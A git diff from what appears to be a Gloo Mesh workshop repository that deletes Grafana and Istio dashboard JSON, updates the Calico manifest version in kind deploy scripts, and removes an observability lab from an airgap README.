- }, - "links": [], - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [ - { - "matcher": { - "id": "byRegexp", - "options": "/.*Refused.*/" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "red", - "mode": "fixed" - } - } - ] - }, - { - "matcher": { - "id": "byRegexp", - "options": "/.*Dropped.*/" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "purple", - "mode": "fixed" - } - } - ] - } - ] - }, - "gridPos": { - "h": 10, - "w": 8, - "x": 8, - "y": 4 - }, - "id": 53, - "interval": "", - "links": [], - "options": { - "legend": { - "calcs": [ - "min", - "max", - "mean" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "8.3.5", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_processor_batch_batch_send_size_count[5m])) by (processor)", - "format": "time_series", - "hide": false, - "instant": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Batch send size count: {{processor}}", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_processor_batch_batch_send_size_sum[5m])) by (processor)", - "format": "time_series", - "hide": false, - "instant": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Batch send size sum: {{processor}}", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_processor_batch_timeout_trigger_send[5m])) by (processor)", - "hide": false, - "interval": "", - "legendFormat": "Batch timeout rate: {{processor}}", - "refId": "C" - } - ], - "title": "Processors: Batch metrics", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": true, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 10, - "w": 8, - "x": 16, - "y": 4 - }, - "id": 55, - "interval": "", - "links": [], - "options": { - "legend": { - "calcs": [ - "min", - "max", - "mean" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "8.3.5", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_exporter_sent_metric_points[5m])) by (exporter)", - "format": "time_series", - "interval": "", - "intervalFactor": 1, - "legendFormat": "Sent metric points: {{exporter}}", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_exporter_enqueue_failed_metric_points[5m])) by (exporter)", - "format": "time_series", - "hide": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Enqueue failed metric points rate: {{exporter}}", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_exporter_send_failed_metric_points[5m]))", - "hide": false, - "interval": "", - "legendFormat": "Sent failed rate: {{exporter}}", - "refId": "C" - } - ], - "title": "Exporters: Metric Points Rate", - "type": "timeseries" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Telemetry Pipeline", - "type": "row" - }, - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 4 - }, - "id": 2, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 100, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 0, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "normal" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "quota - requests" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#F2495C", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "quota - limits" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#FF9830", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - } - ] - }, - "gridPos": { - "h": 16, - "w": 12, - "x": 0, - "y": 57 - }, - "id": 39, - "interval": "1m", - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "sum(rate(container_cpu_usage_seconds_total{namespace=\"gloo-mesh\"}[5m])) by (pod)", - "format": "time_series", - "hide": false, - "interval": "", - "intervalFactor": 2, - "legendFormat": "{{pod}}", - "refId": "A", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"requests.cpu\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - requests", - "refId": "B", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"limits.cpu\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - limits", - "refId": "C", - "step": 10 - } - ], - "title": "Gloo vCPU Usage", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 100, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 0, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "normal" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "bytes" - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "quota - requests" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#F2495C", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "quota - limits" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#FF9830", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - } - ] - }, - "gridPos": { - "h": 16, - "w": 12, - "x": 12, - "y": 57 - }, - "id": 41, - "interval": "1m", - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "sum(container_memory_working_set_bytes{job=\"kubelet\", metrics_path=\"/metrics/cadvisor\", namespace=\"gloo-mesh\", container!=\"\", image!=\"\"}) by (pod)", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "{{pod}}", - "refId": "A", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"requests.memory\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - requests", - "refId": "B", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"limits.memory\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - limits", - "refId": "C", - "step": 10 - } - ], - "title": "Gloo Memory Usage (w/o cache)", - "type": "timeseries" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Resource Usage", - "type": "row" - } - ], - "refresh": "30s", - "schemaVersion": 37, - "style": "dark", - "tags": [ - "gloo" - ], - "templating": { - "list": [ - { - "current": { - "selected": true, - "text": "prometheus-GM", - "value": "prometheus-GM" - }, - "hide": 0, - "includeAll": false, - "label": "Gloo Prometheus", - "multi": false, - "name": "GlooPrometheus", - "options": [], - "query": "prometheus", - "queryValue": "", - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "type": "datasource" - }, - { - "current": { - "selected": false, - "text": "Prometheus", - "value": "Prometheus" - }, - "hide": 0, - "includeAll": false, - "label": "External Prometheus", - "multi": false, - "name": "ExternalPrometheus", - "options": [], - "query": "prometheus", - "queryValue": "", - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "type": "datasource" - } - ] - }, - "time": { - "from": "now-3h", - "to": "now" - }, - "timepicker": {}, - "timezone": "", - "title": "Gloo Platform Operations", - "uid": "9Zx09Zg45", - "version": 10, - "weekStart": "" -} diff --git a/gloo-mesh/enterprise/2-4/gitops/images/steps/gloo-platform-observability/metrics-architecture-otel.svg b/gloo-mesh/enterprise/2-4/gitops/images/steps/gloo-platform-observability/metrics-architecture-otel.svg deleted file mode 100644 index 47b8c2c638..0000000000 --- a/gloo-mesh/enterprise/2-4/gitops/images/steps/gloo-platform-observability/metrics-architecture-otel.svg +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - workload cluster 1Gloo metrics collector agentsEast-west gatewayistiodmanagement clusterGloo management serverPrometheus servergRPC pushmetric scraping every 15sGloo agentGoo metricsgateway123Istio workloadworkload cluster 2Gloo metrics collector agentsEast-west gatewayistiodGloo agent1Istio workloadscrapescrapescrapescrapescrapescrape \ No newline at end of file diff --git a/gloo-mesh/enterprise/2-4/gitops/scripts/deploy-aws-with-calico.sh b/gloo-mesh/enterprise/2-4/gitops/scripts/deploy-aws-with-calico.sh index d123dd7b8f..1c7a2ec3cf 100755 --- a/gloo-mesh/enterprise/2-4/gitops/scripts/deploy-aws-with-calico.sh +++ b/gloo-mesh/enterprise/2-4/gitops/scripts/deploy-aws-with-calico.sh @@ -184,7 +184,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/enterprise/2-4/gitops/scripts/deploy-multi-with-calico.sh b/gloo-mesh/enterprise/2-4/gitops/scripts/deploy-multi-with-calico.sh index e72e1f9720..dea19640aa 100755 --- a/gloo-mesh/enterprise/2-4/gitops/scripts/deploy-multi-with-calico.sh +++ b/gloo-mesh/enterprise/2-4/gitops/scripts/deploy-multi-with-calico.sh @@ -121,7 +121,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/enterprise/2-4/gitops/scripts/deploy-with-calico.sh b/gloo-mesh/enterprise/2-4/gitops/scripts/deploy-with-calico.sh index 4e1643ee0c..a14138f3c4 100755 --- a/gloo-mesh/enterprise/2-4/gitops/scripts/deploy-with-calico.sh +++ b/gloo-mesh/enterprise/2-4/gitops/scripts/deploy-with-calico.sh @@ -117,7 +117,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/enterprise/2-5/airgap/README.md b/gloo-mesh/enterprise/2-5/airgap/README.md index b44286783d..a797301c61 100644 --- a/gloo-mesh/enterprise/2-5/airgap/README.md +++ b/gloo-mesh/enterprise/2-5/airgap/README.md @@ -28,9 +28,8 @@ source ./scripts/assert.sh * [Lab 12 - Create the Root Trust Policy](#lab-12---create-the-root-trust-policy-) * [Lab 13 - Leverage Virtual Destinations for east west communications](#lab-13---leverage-virtual-destinations-for-east-west-communications-) * [Lab 14 - Zero trust](#lab-14---zero-trust-) -* [Lab 15 - See how Gloo Platform can help with observability](#lab-15---see-how-gloo-platform-can-help-with-observability-) -* [Lab 16 - Securing the egress traffic](#lab-16---securing-the-egress-traffic-) -* [Lab 17 - VM integration with Spire](#lab-17---vm-integration-with-spire-) +* [Lab 15 - Securing the egress traffic](#lab-15---securing-the-egress-traffic-) +* [Lab 16 - VM integration with Spire](#lab-16---vm-integration-with-spire-) @@ -166,8 +165,6 @@ Pull and push locally the Docker images needed: ```bash cat <<'EOF' > images.txt docker.io/curlimages/curl -docker.io/bats/bats:v1.4.1 -docker.io/grafana/grafana:10.2.3 docker.io/kennethreitz/httpbin docker.io/nginx:1.25.3 docker.io/openpolicyagent/opa:0.57.1-debug @@ -182,15 +179,7 @@ gcr.io/gloo-mesh/gloo-otel-collector:2.5.0 gcr.io/gloo-mesh/rate-limiter:0.11.7 jimmidyson/configmap-reload:v0.8.0 quay.io/keycloak/keycloak:22.0.5 -quay.io/kiwigrid/k8s-sidecar:1.25.2 -quay.io/prometheus-operator/prometheus-config-reloader:v0.70.0 -quay.io/prometheus-operator/prometheus-operator:v0.70.0 -quay.io/prometheus/alertmanager:v0.26.0 -quay.io/prometheus/node-exporter:v1.7.0 quay.io/prometheus/prometheus:v2.41.0 -quay.io/prometheus/prometheus:v2.48.1 -registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20221220-controller-v1.5.1-58-g787ea74b6 -registry.k8s.io/kube-state-metrics/kube-state-metrics:v2.10.1 us-docker.pkg.dev/gloo-mesh/istio-workshops/install-cni:1.19.3-solo us-docker.pkg.dev/gloo-mesh/istio-workshops/operator:1.19.3-solo us-docker.pkg.dev/gloo-mesh/istio-workshops/pilot:1.19.3-solo @@ -1907,7 +1896,8 @@ Let's add the domains to our `/etc/hosts` file: You can access the `productpage` service using this URL: [http://cluster1-bookinfo.example.com/productpage](http://cluster1-bookinfo.example.com/productpage). -You should now be able to access the `productpage` application through the browser. -Let's install a few dashboards! - -Now, you can go the the Grafana tab, log in with the default login credentials, admin/prom-operator, and import the dashboard of Istio control plane. - -Add the Operational Dashboard -============================= - -Our Gloo components are all instrumented with Prometheus compatible metrics, providing an easy way to pinpoint a potential degradation. - -You can import the following dashboard to see our Operational Dashboard, covering all of our components in the stack. - -Here, you have specific rows for each components, such as the management server, the agent, the telemetry collectors, and some additional information regarding resource usage. - -```bash -kubectl --context ${MGMT} -n monitoring create cm operational-dashboard \ ---from-file=data/steps/gloo-platform-observability/operational-dashboard.json -kubectl --context ${MGMT} label -n monitoring cm operational-dashboard grafana_dashboard=1 -``` - -Out-of-box alerting -=================== - -Our Prometheus comes with useful alerts by default, making it easier to get notified if something breaks. - -All of the default alerts have corresponding panels on the Operational Dashboard. - -You can click the "Bell" icon on the left, and choose "Alert rules", and check "GlooPlatformAlerts" to take a closer look at them. - -Let's trigger one of the alerts! - -If you scale down the Gloo Agent in let's say `cluster1`, you should have an alert called `GlooPlatformAgentsAreDisconnected` go into first PENDING, then FIRING, let's check this! - -```sh -kubectl --context $CLUSTER1 scale deployment.apps/gloo-mesh-agent -n gloo-mesh --replicas=0 -``` - -The alert will fire in 5m, but even before that, it will reach PENDING state, let's wait for this! - -Don't forget to scale it up after: - -```sh -kubectl --context $CLUSTER1 scale deployment.apps/gloo-mesh-agent -n gloo-mesh --replicas=1 -``` - -Collect remote IstioD metrics securely -====================================== - -Let's take a look how easy it is to modify the metrics collection in the workload clusters, to collect IstioD metrics, and ship them to the management cluster over TLS. - -```bash -helm upgrade --install gloo-platform gloo-platform \ - --repo https://storage.googleapis.com/gloo-platform/helm-charts \ - --namespace gloo-mesh \ - --kube-context ${CLUSTER1} \ - --reuse-values \ - --version 2.5.0 \ - --values - < +## Lab 15 - Securing the egress traffic [VIDEO LINK](https://youtu.be/tQermml1Ryo "Video Link") @@ -3491,7 +3309,7 @@ kubectl --context ${CLUSTER1} -n istio-gateways delete accesspolicy allow-get-ht -## Lab 17 - VM integration with Spire +## Lab 16 - VM integration with Spire Let's see how we can configure a VM to be part of the Mesh. diff --git a/gloo-mesh/enterprise/2-5/airgap/data/steps/gloo-platform-observability/istio-control-plane-dashboard.json b/gloo-mesh/enterprise/2-5/airgap/data/steps/gloo-platform-observability/istio-control-plane-dashboard.json deleted file mode 100644 index 555275afdd..0000000000 --- a/gloo-mesh/enterprise/2-5/airgap/data/steps/gloo-platform-observability/istio-control-plane-dashboard.json +++ /dev/null @@ -1,2272 +0,0 @@ -{ - "__inputs": [ - { - "name": "DS_PROMETHEUS-GM", - "label": "prometheus-GM", - "description": "", - "type": "datasource", - "pluginId": "prometheus", - "pluginName": "Prometheus" - } - ], - "__elements": {}, - "__requires": [ - { - "type": "grafana", - "id": "grafana", - "name": "Grafana", - "version": "9.3.1" - }, - { - "type": "datasource", - "id": "prometheus", - "name": "Prometheus", - "version": "1.0.0" - }, - { - "type": "panel", - "id": "timeseries", - "name": "Time series", - "version": "" - } - ], - "annotations": { - "list": [ - { - "builtIn": 1, - "datasource": { - "type": "datasource", - "uid": "grafana" - }, - "enable": true, - "hide": true, - "iconColor": "rgba(0, 211, 255, 1)", - "name": "Annotations & Alerts", - "target": { - "limit": 100, - "matchAny": false, - "tags": [], - "type": "dashboard" - }, - "type": "dashboard" - } - ] - }, - "editable": true, - "fiscalYearStartMonth": 0, - "graphTooltip": 1, - "id": null, - "links": [], - "liveNow": false, - "panels": [ - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 0 - }, - "id": 60, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Deployed Versions", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 24, - "x": 0, - "y": 1 - }, - "id": 56, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(istio_build{component=\"pilot\", cluster=\"$cluster\"}) by (tag)", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "{{ tag }}", - "range": true, - "refId": "A" - } - ], - "title": "Pilot Versions", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 6 - }, - "id": 62, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Resource Usage", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "bytes" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 0, - "y": 7 - }, - "id": 5, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "process_virtual_memory_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "instant": false, - "intervalFactor": 2, - "legendFormat": "Virtual Memory", - "refId": "I", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "process_resident_memory_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Resident Memory", - "range": true, - "refId": "H", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_heap_sys_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": true, - "intervalFactor": 2, - "legendFormat": "heap sys", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_heap_alloc_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": true, - "intervalFactor": 2, - "legendFormat": "heap alloc", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_alloc_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Alloc", - "range": true, - "refId": "F", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_heap_inuse_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Heap in-use", - "range": true, - "refId": "E", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_stack_inuse_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Stack in-use", - "range": true, - "refId": "G", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_memory_working_set_bytes{container=~\"discovery\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Discovery (container)", - "range": true, - "refId": "B", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_memory_working_set_bytes{container=~\"istio-proxy\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Sidecar (container)", - "range": true, - "refId": "C" - } - ], - "title": "Memory", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 6, - "y": 7 - }, - "id": 6, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(container_cpu_usage_seconds_total{container=\"discovery\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Discovery (container)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "irate(process_cpu_seconds_total{app=\"istiod\", cluster=~\"$cluster\"}[1m])", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Discovery (process)", - "range": true, - "refId": "C", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(container_cpu_usage_seconds_total{container=\"istio-proxy\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Sidecar (container)", - "range": true, - "refId": "B", - "step": 2 - } - ], - "title": "CPU", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - 